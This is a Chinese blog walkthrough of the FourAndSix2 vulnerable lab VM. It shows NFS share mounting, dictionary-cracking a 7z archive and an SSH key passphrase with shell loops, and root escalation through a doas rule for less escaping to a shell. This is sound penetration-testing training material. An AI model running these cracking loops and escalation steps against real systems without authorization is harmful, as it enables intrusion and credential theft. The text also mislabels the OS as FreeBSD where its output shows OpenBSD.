FourAndSix: 2.01靶机入侵

本是古典 何须时尚 2024-04-07 10:54 186阅读 0赞

0x01 前言

FourAndSix2是易受攻击的一个靶机,主要任务是通过入侵进入到目标靶机系统然后提权,并在root目录中并读取flag.tx信息

FourAndSix2.镜像下载地址:

https://download.vulnhub.com/fourandsix/FourAndSix2.ova

0x02 信息收集

1.**存活主机扫描**

  1. arp-scan -l

21d2bc1efd9026ee3d40c8f528d6743a.jpeg

a0e396ab1abb49ccaf89ca8e1a203015.jpeg

发现192.168.1.9是目标靶机系统

2.**端口探测**

使用Nmap对靶机进行扫描

  1. nmap -A 192.168.1.9

a04512a1e6d69da2e7e92c0eb176c9f9.jpeg

查询到开放的端口及服务:22-ssh、111-rpcbind、2049-nfs、612-mountd

0x03 漏洞利用

1.nfs**漏洞利用**

开放2049端口,nmap探测显示为nfs服务,使用metasploit进行扫描可挂载目录

  1. msf > use auxiliary/scanner/nfs/nfsmount
  2. msf auxiliary(scanner/nfs/nfsmount) > show options
  3. Module options (auxiliary/scanner/nfs/nfsmount):
  4. NameCurrent Setting Required Description
  5. ------------------- -------- -----------
  6. PROTOCOLudp yes The protocol to use (Accepted: udp, tcp)
  7. RHOSTS yes The target address range or CIDR identifier
  8. RPORT111 yes The target port (TCP)
  9. THREADS1 yes The number of concurrent threads
  10. msf auxiliary(scanner/nfs/nfsmount) > set rhosts192.168.1.9
  11. rhosts => 192.168.1.9
  12. msf auxiliary(scanner/nfs/nfsmount) > run
  13. [+] 192.168.1.9:111 - 192.168.1.9 NFS Export: /home/user/storage []
  14. [*] Scanned 1 of 1 hosts (100% complete)
  15. [*] Auxiliary module execution completed

28eec6a5cbc11839716c2f1dbb9fe725.jpeg

也可以利用showmount -e查看目标系统可挂载目录

6b09b00dc6a707bd29a87ab165cbe4cd.jpeg

发现可挂载目录/home/user/storage

通过mount名挂载目录:

  1. mkdir /tmp/storage
  2. mount -t nfs 192.168.1.9:/home/user/storage/tmp/storage

d7ac46eaccd4e424e69ef3a49ef594dc.jpeg

注意:有时候在kali系统中mount命令不能使用可能是文件损坏了,需要重新更新安装

  1. apt-get install nfs-common

发现backup.7z这个压缩包,使用7z e backup.7z尝试解压,提示需要密码

0d52fe0fae634bb3a9ff04f76161ea58.jpeg

2.backup.7z**爆破**

查找资料发现可以用rarcrack对7z压缩包进行爆破,rarcrack破解命令为:

  1. apt-get install rarcrack
  2. rarcrack --threads 4 --type 7z backup.7z

也可以使用7z命令进行字典爆破

7z破解脚本:

https://raw.githubusercontent.com/exexute/PythonScaffold/PythonScaffold\_0.1/enum\_violence/file\_enum/7z-crack.sh

其命令内容为:

  1. cat $2 | while read line;do if 7z e $1 -p"$line" 1>/dev/null 2>/dev/null;then echo "FOUND PASSWORD:"$line;break;fi;done

使用方法:

  1. ./7z-crack.shbackup.7z /usr/share/wordlists/rockyou.txt

d2db48d4161c84db5b2b591604f2b1ac.jpeg

最终,7z破解脚本成功破解到压缩包密码:chocolate

解压backup.7z发现一堆图片,以及id_rsa和id_rsa.pub

5ed6d46e6ac6fa3d132b9ec6f2e3335c.jpeg

通过破解出来的密码chocolate对.7z进行解压,解压后提取其内容,可发现一些图片和RSA密钥。由于端口22在目标计算机上运行SSH服务,我们可以使用RSA私钥登录。打开RSA公钥来查看用户名。

530e82934775b6f775a9e2a2f135b266.jpeg

于是猜测可以通过公私钥登录服务器,将私钥放到/root/.ssh目录下,连接服务器

  1. cp id_rsa /root/.ssh
  2. sshuser@192.168.1.9

09aec35211db0d96d548ee0f98ac3c7a.jpeg

我们尝试登录ssh,但它要求密码。因此,我们创建了以下脚本来查找正确的私钥密码。

  1. root@kali2018:/tmp/storage# cat /usr/share/wordlists/metasploit/adobe_top100_pass.txt |while read pass;do if ssh-keygen -c -C "user@forandsix" -P $pass -f id_rsa &>/dev/null;then echo $pass; break; fi; done

爆破得到密码为12345678

67d2bb2685bc8a2d0c525766690caa91.jpeg

或者

  1. root@kali2018:/tmp/storage# cat /usr/share/wordlists/rockyou.txt | while read line;do if ssh-keygen -p -P $line -N $line -f id_rsa 1>/dev/null 2>/dev/null;then echo "PASSWORD FOUND : "$line;break;fi;done;

aced16447b019583e141d04c300be0b5.jpeg

通过破解成功的密码进行远程ssh登录

1b49e41e636f4e6ee5e6c4c5670b9b4b.jpeg

0x04 权限提升

进入shell后,发现当前系统是FreeBSD 6.4的,搜索之后发现内核没有可提权的漏洞,于是将重点放在配置、文件和服务上。

查看当前用户权限及系统信息

  1. fourandsix2$ id
  2. uid=1000(user) gid=1000(user) groups=1000(user), 0(wheel)
  3. fourandsix2$ uname -a
  4. OpenBSD fourandsix2.localdomain 6.4 GENERIC#349 amd64

c6dcd3a5134adfe24a5480c07c144ef0.jpeg

我们使用find命令来定位设置了SUID的文件或包。

  1. find / -perm -u=s -type f 2>/dev/null

42acbb82692079c9c2ce4b5f8e06dd90.jpeg

通过find命令我们找到了suid权限运行的程序/usr/bin/doas,它是sudo命令的替代。doas是BSD系列系统下的权限管理工具,类似于Debian系列下的sudo命令

在阅读“doas.conf”文件后,我们发现“less”可以以root身份运行。

查看/etc目录,有doas.conf

  1. fourandsix2$ cat /etc/doas.conf
  2. permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog
  3. permit nopass keepenv root as root

7814c81ab92e547ef427231d16bf3d1f.jpeg

让我们查看配置文件并尝试理解。Doas实用程序根据doas.conf配置文件中的规则以其他用户身份执行命令。

Permit/Deny**:**允许/拒绝规则

Nopass**:**用户无需输入任何密码

Persist**:**用户成功通过身份验证后,请勿再次请求密码验证

Keepenv**:维持**用户的环境

Cmd**:**允许命令运行

从doas.conf文件可以看到,当前用户能够以root权限使用less命令查看/var/log/authlog文件,并且不需要当前用户密码以及root密码。

用doas /usr/bin/less /var/log/authlog查看日志文件,然后直接按v,可进入编辑模式,但是会提示只读,进入编辑模式后,可以通过vi编辑器操作方式

doas /usr/bin/less /var/log/authlog

a425d1130c67658517aef3c7a914d89f.jpeg

7744fd83ea38a48a3894d2896b0f7798.jpeg

执行系统命令,即:!/bin/sh,此时便会提升到root权限

最后一步获取falg信息,它在root目录下。

通过ID查询当前用户权限为root,然后使用cat flag.txt查看flag信息。

08f4f17a7dd52c6cb9ab67f89702a217.jpeg

a52e56201ec7aff51359b2fb0b718b21.jpeg

发表评论

表情:
评论列表 (有 0 条评论,186人围观)

还没有评论,来说两句吧...

相关阅读

    相关 Raven: 2靶机入侵

    0x00 前言 Raven 2是一个中等难度的boot2root 虚拟靶机。有四个flag需要找出。在多次被攻破后,Raven Security采取了额外措施来增强他们的